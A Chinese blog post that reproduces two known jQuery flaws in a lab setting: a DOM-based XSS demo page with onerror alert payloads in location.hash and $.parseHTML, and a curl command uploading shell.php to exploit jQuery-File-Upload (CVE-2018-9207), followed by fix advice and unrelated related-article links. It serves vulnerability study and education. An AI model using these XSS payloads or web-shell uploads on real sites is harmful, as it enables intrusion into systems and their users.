jQuery漏洞复现整理
jQuery DOM-based XSS
免责声明:
本文章仅供学习和研究使用,严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。
漏洞详情
在JQuery的诸多发行版本中,存在着DOM-based XSS(跨站脚本攻击的一种)漏洞,易被攻击者利用。漏洞原因在于过滤用户输入数据所使用的正则表达式存在缺陷,可能导致 location.hash 跨站漏洞。
2.x的版本可以使用Safari浏览器来弹框。
JavaScript XSS Demo
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Jquery XSS</title>
<script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.6.1/jquery.js"></script>
<!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.9.1/jquery.js"></script> -->
<!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.11.1/jquery.js"></script> -->
<!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.12.1/jquery.js"></script> -->
<script>
$(function () {
// #9521
// #11290
$(location.hash);
// #11974
$('#bug').on('click', function () {
$.parseHTML("<img src='z' οnerrοr='alert(\"bug-11974\")'>");
return false;
});
})
</script>
</head>
<body>
<h1>jQuery with XSS</h1>
<h2>Demo:</h2>
<p style="color:red;">Note: Source code changes jQuery version,As long as there is no bullet window, there will be no problem.!</p>
<ul>
<li><a href="#<img src=/ onerror=alert(1)>" target="_blank">bug-9521</a> => <a
href="https://bugs.jquery.com/ticket/9521" target="_blank">ticket</a></li>
<li><a href="#p[class='<img src=/ onerror=alert(2)>']" target="_blank">bug-11290</a> => <a
href="https://bugs.jquery.com/ticket/11290" target="_blank">ticket</a></li>
<li><a href="#11974" id="bug">bug-11974</a> => <a href="https://bugs.jquery.com/ticket/11974"
target="_blank">ticket</a></li>
</ul>
<h2>Test version:</h2>
<ul>
<li><a href="http://research.insecurelabs.org/jquery/test/" target="_blank">test result</a></li>
</ul>
<h2>Safe version:</h2>
<ul>
<li>1.12.0, 1.12.1 </li>
<li>2.2.0, 2.2.1</li>
<li>3.0.0, 3.0.1, 3.1.0, 3.1.1</li>
</ul>
</body>
</html>
1.6.1版本:

1.9.1版本:

个别版本无法弹框可以使用Safari浏览器,因为Safari浏览器会经过URL编码进入函数,依然可以使用html5 的一些特性,引发错误并弹框。

jQuery file upload 文件上传漏洞 (CVE-2018-9207)
漏洞详情
jQuery file upload是一个文件上传小工具,包含多个文件选择,拖放支持,进度条,验证和预览图像,jQuery的音频和视频。支持跨域、分块和可恢复文件上传以及客户端图像大小调整。适用于任何服务器端平台——支持标准HTML表单文件上传(PHP,Python,Ruby on Rails,Java,Node.js,Go等)。
这个漏洞产生主要是因为jQuery-File-Upload的.htaccess文件会限制文件的上传和文件的执行,但是Apache的2.3.9版本中,Apache默认不再支持.htaccess了,而且默认是没有被开启的,所以导致攻击者可以任意上传脚本文件并执行。如果使用了另一种web容器的话(比如Nginx),那么基于.htaccess文件的保护则完全无效。
漏洞复现
POC:
curl -F "files=@shell.php" http://cc2ce5c953d2e3b36bde9f346d4290ea.n2.vsgo.cloud:8395/server/php/index.php

其实直接点击上传也行,就是一个文件上传漏洞

wireshark抓包看一下。(注意路径问题)

修复建议:
1.启用htaccess文件,对上传类型进行限制。
2.更新jQuery file upload至最新版本(https://github.com/blueimp/jQuery-File-Upload)。
jQuery漏洞复现整理的更多相关文章
- Mysql LOAD DATA读取客户端任意文件漏洞复现(原理分析)
环境搭建 怎么设置Mysql支持外联? use mysql; grant all privileges on *.* to root@'%' identified by '密码'; //授权语句 fl ...
- docker漏洞复现环境搭建
0x00 docker简介 把原来的笔记整理了一下,结合前几天的一个漏洞,整理一篇简单的操作文档,希望能帮助有缘人. docker是一个开源的应用容器引擎,开发者可以打包自己的应用到容器里面,然后迁移 ...
- Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御
摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...
- [漏洞复现] [Vulhub靶机] OpenSSL Heartbleed Vulnerability (CVE-2014-0160)
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责. 0x00 背景知识 传输层安全协议SSL 安全套接字协议SSL(Secure Sockets Layer),及其继任者传输层安 ...
- ShadowBroker释放的NSA工具中Esteemaudit漏洞复现过程
没有时间测试呢,朋友们都成功复现,放上网盘地址:https://github.com/x0rz/EQGRP 近日臭名昭著的方程式组织工具包再次被公开,TheShadowBrokers在steemit. ...
- 【S2-052】漏洞复现(CVE-2017-9805)
一.漏洞描述 Struts2 的REST插件,如果带有XStream组件,那么在进行反序列化XML请求时,存在未对数据内容进行有效验证的安全隐患,可能发生远程命令执行. 二.受影响版本 Struts2 ...
- markdown反射型xss漏洞复现
markdown xss漏洞复现 转载至橘子师傅:https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html 漏洞成因 最初是看到Hack ...
- WebLogic XMLDecoder反序列化漏洞复现
WebLogic XMLDecoder反序列化漏洞复现 参考链接: https://bbs.ichunqiu.com/thread-31171-1-1.html git clone https://g ...
- Struts2-052 漏洞复现
s2-052漏洞复现 参考链接: http://www.freebuf.com/vuls/147017.html http://www.freebuf.com/vuls/146718.html 漏洞描 ...
- Typecho反序列化导致前台 getshell 漏洞复现
Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...
随机推荐
- 使用IntelliJ IDEA新建一个spring boot项目
好家伙, 使用IntelliJ IDEA新建一个spring boot项目 目的很简单,就是网页上出现一个"hello world" 别的暂时不管 首先关于工具IntelliJ I ...
- python超多常用知识记录
在函数传参给变量**a,可以接收字典类型,当未传参默认空字典 set创建集合可以排重 while和for到参数未满足可以增加else cmp函数比较长度 divmod函数返回除数和余数结果 nonlo ...
- 数据卷之Docker File
DockerFile 是用来构建Docker镜像的构建文件,是由一些列命令和参数构成的脚本.后面再详细了解 DockerFile ! 1.我们在宿主机 /home 目录下新建一个 docker-tes ...
- omc.
OMC 099(4b) D 因为 \((abc)^{\dfrac 13} \le \dfrac{a+b+c}3\)(基本不等式),将 \(a = xy, b = yz, c = xz\) 代入得到 \ ...
- KingbaseES V8R3集群运维案例之---用户自定义表空间管理
案例说明: KingbaseES 数据库支持用户自定义表空间的创建,并建议表空间的文件存储路径配置到数据库的data目录之外.本案例复现了,当用户自定义表空间存储路径配置到data下时,出现的故障问 ...
- KingbaseES R3 受限dba影响集群切换
一.受限dba功能说明(参考自官方文档) 受限DBA 受限DBA可以对当前DBA的权限进行一定限制.当功能开启后DBA将不能更改以下对象: Table Database Function(by n ...
- 从源码中理解Spring Boot自动装配原理
个人博客:槿苏的知识铺 一.什么是自动装配 SpringBoot 定义了一套接口规范,这套规范规定:SpringBoot在启动时会扫描外部引用jar包中的META-INF/spring.factori ...
- Elasticsearch 快照生命周期管理 (SLM) 实战指南
文章转载自:https://mp.weixin.qq.com/s/PSfgPJc4dKN2pOZd0Y02wA 1.Elasticsearch 保证高可用性的方式 Elasticsearch 保证集群 ...
- 清理rook-ceph
官方步骤文档:https://rook.io/docs/rook/v1.8/ceph-teardown.html 请注意需要清理的以下资源: rook-ceph namespace: The Rook ...
- Jenkins 中使用 Git Parameter 插件动态获取 Git 的分支
